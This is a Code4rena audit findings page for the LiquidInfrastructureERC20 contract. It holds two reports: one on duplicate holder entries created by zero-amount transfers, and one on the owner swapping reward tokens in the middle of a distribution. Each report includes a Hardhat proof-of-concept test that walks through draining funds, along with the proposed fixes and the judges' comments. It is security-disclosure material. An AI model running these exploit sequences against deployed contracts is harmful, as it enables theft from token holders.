Platform: Code4rena
Start Date: 13/02/2024
Pot Size: $24,500 USDC
Total HM: 5
Participants: 84
Period: 6 days
Judge: 0xA5DF
Id: 331
League: ETH
Rank: 51/84
Findings: 2
Award: $32.91
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: BowTiedOriole
Also found by: 0x0bserver, 0xAadi, 0xJoyBoy03, 0xlamide, 0xlemon, 0xpiken, Babylen, Breeje, Brenzee, CodeWasp, DanielArmstrong, DarkTower, Fassi_Security, Fitro, Honour, JohnSmith, Krace, MrPotatoMagic, Myrault, ReadyPlayer2, SovaSlava, SpicyMeatball, TheSavageTeddy, Tigerfrake, atoko, cryptphi, csanuragjain, d3e4, gesha17, kinda_very_good, krikolkk, matejdb, max10afternoon, miaowu, n0kto, nuthan2x, parlayan_yildizlar_takimi, peanuts, petro_1912, pontifex, psb01, pynschon, rouhsamad, shaflow2, slippopz, spark, turvy_fuzz, web3pwn, zhaojohnson
7.1828 USDC - $7.18
It is possible to steal other holders fund and cause DOS. This happens since duplicate holders can be forced added by User
LiquidInfrastructureERC20
has 1000 amount of erc20 Asset ALiquidInfrastructureERC20
:holder 1 : 100 holder 2 : 100
_beforeTokenTransfer
bool exists = (this.balanceOf(to) != 0); if (!exists) { holders.push(to); }
Since holder 1 balance is 0, so holder 1 is again added to holders array
Owner adds a new holder 3 with below shares of LiquidInfrastructureERC20
:
holder 3 : 800
So now 4 holder are present -> holder1,holder2,holder1,holder3
holder 2 now transfers back full 200 amount to holder 1. Since holder 2 balance is 0 so it is removed from holder list
if (holders[i] == from) { // Remove the element at i by copying the last one into its place and removing the last element holders[i] = holders[holders.length - 1]; holders.pop(); }
Now Attacker simply calls distribute
with numDistributions as 2. This causes distribution to run for first 2 holders which is holder 1, holder 1
Due to duplicate holder 1 entry, both entry receive the distribution. This means instead of getting 200, holder 1 gets 200+200=400
Any attempt to distribute holder 3 fails due to fund shortage caused by stolen funds
it("POC", async function () { const { infraERC20, erc20Owner, testERC20A, testERC20B, testERC20C, nftAccount1, nftAccount2, nftAccount3, holder1, holder2, holder3, holder4, } = await liquidErc20Fixture(); const holders = [holder1, holder2, holder3, holder4]; for (let holder of holders) { const address = holder.address; await expect(infraERC20.approveHolder(address)).to.not.be.reverted; } const nftOwners = [nftAccount1, nftAccount2, nftAccount3]; let nfts: LiquidInfrastructureNFT[] = [ await deployLiquidNFT(nftAccount1), await deployLiquidNFT(nftAccount2), await deployLiquidNFT(nftAccount3), ]; const erc20s: ERC20[] = [testERC20A, testERC20B, testERC20C]; for (const nft of nfts) { nft.setThresholds( erc20s, erc20s.map(() => 0) ); } await customDistributionTests( infraERC20, erc20Owner, holders, nftOwners, nfts, erc20s ); }); async function customDistributionTests( infraERC20: LiquidInfrastructureERC20, infraERC20Owner: HardhatEthersSigner, holders: HardhatEthersSigner[], nftOwners: HardhatEthersSigner[], nfts: LiquidInfrastructureNFT[], rewardErc20s: ERC20[] ) { const [holder1, holder2, holder3] = holders.slice(0, 3); const [nftOwner1] = nftOwners.slice(0, 1); let [nft1] = nfts.slice(0, 1); const [erc20a] = rewardErc20s.slice(0, 1); const erc20Addresses = [ await erc20a.getAddress() ]; // Register one NFT as a source of reward erc20s await transferNftToErc20AndManage(infraERC20, nft1, nftOwner1); await mine(1); nft1 = nft1.connect(infraERC20Owner); // Allocate some rewards to the NFT const rewardAmount1 = 1000; await erc20a.transfer(await nft1.getAddress(), rewardAmount1); expect(await erc20a.balanceOf(await nft1.getAddress())).to.equal( rewardAmount1 ); // And then send the rewards to the ERC20 await infraERC20.withdrawFromAllManagedNFTs(); // Grant holder1 and holder2 100 Infra ERC20 tokens each await infraERC20.mint(holder1.address, 100); await infraERC20.mint(holder2.address, 100); // Attack: holder1 transfers all 100 tokens to holder 2 await infraERC20.connect(holder1).transfer(await holder2.getAddress(), 100); expect(await infraERC20.balanceOf(await holder2.address)).to.equal(200); //Attack holder2 transfers 0 balance to holder1, this creates duplicate holder1, _beforeTokenTransfer adds holder since balance was 0 // Repeat this to loot more :) await infraERC20.connect(holder2).transfer(await holder1.getAddress(), 0); //Attack Now holder2 transfer all amount 200 back to holder 1 await infraERC20.connect(holder2).transfer(await holder1.getAddress(), 200); //holder3 is minted amount 800 await infraERC20.mint(holder3.address, 800); await mine(500); // Now there are 4 holders instead of 3 due to duplicate entry // holder1,holder2,holder1,holder3 const initBal=await erc20a.balanceOf(await holder1.address); // distributeToAllHolders will fail always due to insufficient funds // Attack call distribute await infraERC20.distribute(2); const finalBal=await erc20a.balanceOf(await holder1.address); //Reverts and give 400 (double than expected) expect(finalBal-initBal).to.equal(200).not.to.be.reverted; }
Change the below code in _beforeTokenTransfer
-- if (!exists) { ++ if (!exists && amount>0) {
Other
#0 - c4-pre-sort
2024-02-20T06:29:35Z
0xRobocop marked the issue as duplicate of #536
#1 - c4-pre-sort
2024-02-20T06:33:40Z
0xRobocop marked the issue as duplicate of #77
#2 - c4-judge
2024-03-04T13:05:33Z
0xA5DF marked the issue as satisfactory
🌟 Selected for report: nuthan2x
Also found by: 0x0bserver, AM, CaeraDenoir, DanielArmstrong, JrNet, Kirkeelee, KmanOfficial, Krace, Limbooo, Meera, SovaSlava, SpicyMeatball, TheSavageTeddy, agadzhalov, aslanbek, atoko, csanuragjain, d3e4, imare, jesjupyter, juancito, kartik_giri_47538, kutugu, max10afternoon, offside0011, pkqs90, turvy_fuzz, xchen1130, zhaojohnson, ziyou-
25.7286 USDC - $25.73
It seems that Owner can change distributableERC20s
even when LockedForDistribution
is true. All other functions have required protection to prevent Admin from mistakenly doing unrequired actions at LockedForDistribution
This mistake can cause User to steal fund and DOS for the contract flow.
LiquidInfrastructureERC20
has below distributableERC20s
and below erc20 asset amounts which are pending distributiondistributableERC20s = [A,B] ERC20 Asset A amount : 1000 ERC20 Asset B amount : 2000
holder 1 : 10 shares of LiquidInfrastructureERC20 holder 2 : 40 shares of LiquidInfrastructureERC20 holder 3 : 50 shares of LiquidInfrastructureERC20
User calls distribute
function with 1
as numDistributions
entitlement
for both asset is calculated as below:
entitlement for Token A: 1000/(10+40+50) = 10 entitlement for Token B: 2000/(10+40+50) = 20
Token A: 10 shares *10 entitlement = 100 Token B: 10 shares *20 entitlement = 200
distributableERC20s
by swapping both tokens (remember distribution is still pending for 2 holders and LockedForDistribution is true)distributableERC20s = [A,B]
Now User calls distribute
function with 1
as numDistributions
distribution for holder 2 is
Token B (since token is swapped): 40 shares *10 entitlement = 400 Token A: 40 shares *20 entitlement = 800
Hence User got 800 Token A instead of 400 Token A. This is a problem if Token A is more expensive
Moreover distributeToAllHolders
will fail since contract will have lesser funds than required so contract will be in Locked state until Admin himself put his own fund to fulfil the gap
async function customDistributionTests2( infraERC20: LiquidInfrastructureERC20, infraERC20Owner: HardhatEthersSigner, holders: HardhatEthersSigner[], nftOwners: HardhatEthersSigner[], nfts: LiquidInfrastructureNFT[], rewardErc20s: ERC20[] ) { const [holder1, holder2, holder3] = holders.slice(0, 3); const [nftOwner1] = nftOwners.slice(0, 1); let [nft1] = nfts.slice(0, 1); const [erc20a,erc20b] = rewardErc20s.slice(0, 2); const erc20Addresses = [ await erc20a.getAddress(), await erc20b.getAddress() ]; // Register one NFT as a source of reward erc20s await transferNftToErc20AndManage(infraERC20, nft1, nftOwner1); await mine(1); nft1 = nft1.connect(infraERC20Owner); // Allocate some rewards to the NFT const rewardAmount1 = 1000; const rewardAmount2 = 2000; await erc20a.transfer(await nft1.getAddress(), rewardAmount1); await erc20b.transfer(await nft1.getAddress(), rewardAmount2); // And then send the rewards to the ERC20 await infraERC20.withdrawFromAllManagedNFTs(); // Grant holder1 and holder2 100 Infra ERC20 tokens each await infraERC20.mint(holder1.address, 10); await infraERC20.mint(holder2.address, 40); await infraERC20.mint(holder3.address, 50); await mine(500); const initBalh1=await erc20a.balanceOf(await holder1.address); // Distribute to holder1 which has 10 share means he get // 100 erc20a and 200 erc20b await infraERC20.distribute(1); const finalBalh1=await erc20a.balanceOf(await holder1.address); expect(finalBalh1-initBalh1).to.equal(100); // Owner changes the erc20 address, basically swaps them const erc20Addresses2 = [ await erc20b.getAddress(), await erc20a.getAddress() ]; //change the erc20 token in between distribution await infraERC20.setDistributableERC20s(erc20Addresses2); const initBal=await erc20a.balanceOf(await holder2.address); // Distribute to holder2 which had 40 shares // Since erc20 token position is swapped so holder2 gets // 20*40 erc20a and 10*40 erc20b which is opposite of what he should have got await infraERC20.distribute(1); const finalBal=await erc20a.balanceOf(await holder2.address); // this fails since User get 800 instead of 400 expect(finalBal-initBal).to.equal(400); } it("POC Change tokens", async function () { const { infraERC20, erc20Owner, testERC20A, testERC20B, testERC20C, nftAccount1, nftAccount2, nftAccount3, holder1, holder2, holder3, holder4, } = await liquidErc20Fixture(); const holders = [holder1, holder2, holder3, holder4]; for (let holder of holders) { const address = holder.address; await expect(infraERC20.approveHolder(address)).to.not.be.reverted; } const nftOwners = [nftAccount1, nftAccount2, nftAccount3]; let nfts: LiquidInfrastructureNFT[] = [ await deployLiquidNFT(nftAccount1), await deployLiquidNFT(nftAccount2), await deployLiquidNFT(nftAccount3), ]; const erc20s: ERC20[] = [testERC20A, testERC20B, testERC20C]; for (const nft of nfts) { nft.setThresholds( erc20s, erc20s.map(() => 0) ); } await customDistributionTests2( infraERC20, erc20Owner, holders, nftOwners, nfts, erc20s ); });
Outcome: POC Change tokens: AssertionError: expected 800 to equal 400. The numerical values of the given "bigint" and "number" inputs were compared, and they differed. + expected - actual -800 +400
Modify setDistributableERC20s
to add below check:
function setDistributableERC20s( address[] memory _distributableERC20s ) public onlyOwner { require(!LockedForDistribution, "cannot change distribution erc20 assets"); distributableERC20s = _distributableERC20s; }
Other
#0 - c4-pre-sort
2024-02-20T05:55:18Z
0xRobocop marked the issue as duplicate of #260
#1 - c4-judge
2024-03-04T15:29:48Z
0xA5DF marked the issue as satisfactory
#2 - c4-judge
2024-03-08T15:13:03Z
0xA5DF changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-08T15:26:19Z
0xA5DF changed the severity to 2 (Med Risk)